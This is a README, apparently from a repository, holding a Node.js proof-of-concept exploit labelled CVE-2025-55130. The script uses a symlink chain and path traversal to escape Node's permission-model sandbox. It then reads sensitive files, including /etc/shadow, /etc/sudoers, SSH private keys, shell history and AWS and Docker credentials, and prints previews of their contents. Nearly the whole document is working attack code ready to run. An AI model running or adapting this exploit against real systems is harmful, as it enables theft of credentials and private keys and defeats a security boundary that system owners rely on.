README.md
Rendering markdown...
/*
* CVE-2025-55130 - Mass File Exfiltration
*
* Dump multiple sensitive files via symlink sandbox escape
*
* Run: node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
*/
const fs = require('fs');
const os = require('os');
const HOME = os.homedir();
// Target list - common sensitive files on Linux
const TARGETS = [
'/etc/passwd',
'/etc/shadow',
'/etc/hosts',
'/etc/hostname',
'/etc/os-release',
'/etc/ssh/sshd_config',
'/etc/crontab',
'/etc/sudoers',
'/proc/version',
HOME + '/.ssh/id_rsa',
HOME + '/.ssh/id_ed25519',
HOME + '/.ssh/authorized_keys',
HOME + '/.bash_history',
HOME + '/.zsh_history',
HOME + '/.gitconfig',
HOME + '/.npmrc',
HOME + '/.aws/credentials',
HOME + '/.docker/config.json'
];
const CHAIN = './exfil_chain/a/b/c/d/e/f';
console.log(`
===============================================
CVE-2025-55130 // Mass Exfiltration
===============================================
targets: ${TARGETS.length} files
node: ${process.version}
===============================================
`);
if (typeof process.permission === 'undefined') {
console.log('[!] permission model not active');
process.exit(1);
}
// Setup
try {
fs.rmSync('./exfil_chain', { recursive: true, force: true });
} catch(e) {}
fs.mkdirSync(CHAIN, { recursive: true });
fs.symlinkSync(__dirname, CHAIN + '/link');
const depth = __dirname.split('/').filter(Boolean).length;
const traversal = '../'.repeat(depth);
// Exfil function
function exfil(target) {
const payload = `${CHAIN}/link/${traversal}${target.replace(/^\//, '')}`;
try {
return fs.readFileSync(payload, 'utf8');
} catch(e) {
return null;
}
}
// Run exfil
console.log('[*] starting exfiltration...\n');
let success = 0;
let failed = 0;
const results = {};
TARGETS.forEach(target => {
process.stdout.write(`[*] ${target} ... `);
const data = exfil(target);
if (data !== null) {
results[target] = {
size: data.length,
lines: data.split('\n').length,
preview: data.substring(0, 80).replace(/\n/g, '\\n')
};
console.log(`OK (${data.length} bytes)`);
success++;
} else {
console.log('FAILED');
failed++;
}
});
// Report
console.log(`
===============================================
EXFIL REPORT
===============================================
success: ${success}
failed: ${failed}
===============================================
`);
if (success > 0) {
console.log('[+] VULNERABLE - data extracted:\n');
Object.entries(results).forEach(([file, info]) => {
console.log(` ${file}`);
console.log(` size: ${info.size} bytes | lines: ${info.lines}`);
console.log(` preview: ${info.preview}...`);
console.log('');
});
}
// Cleanup
fs.rmSync('./exfil_chain', { recursive: true, force: true });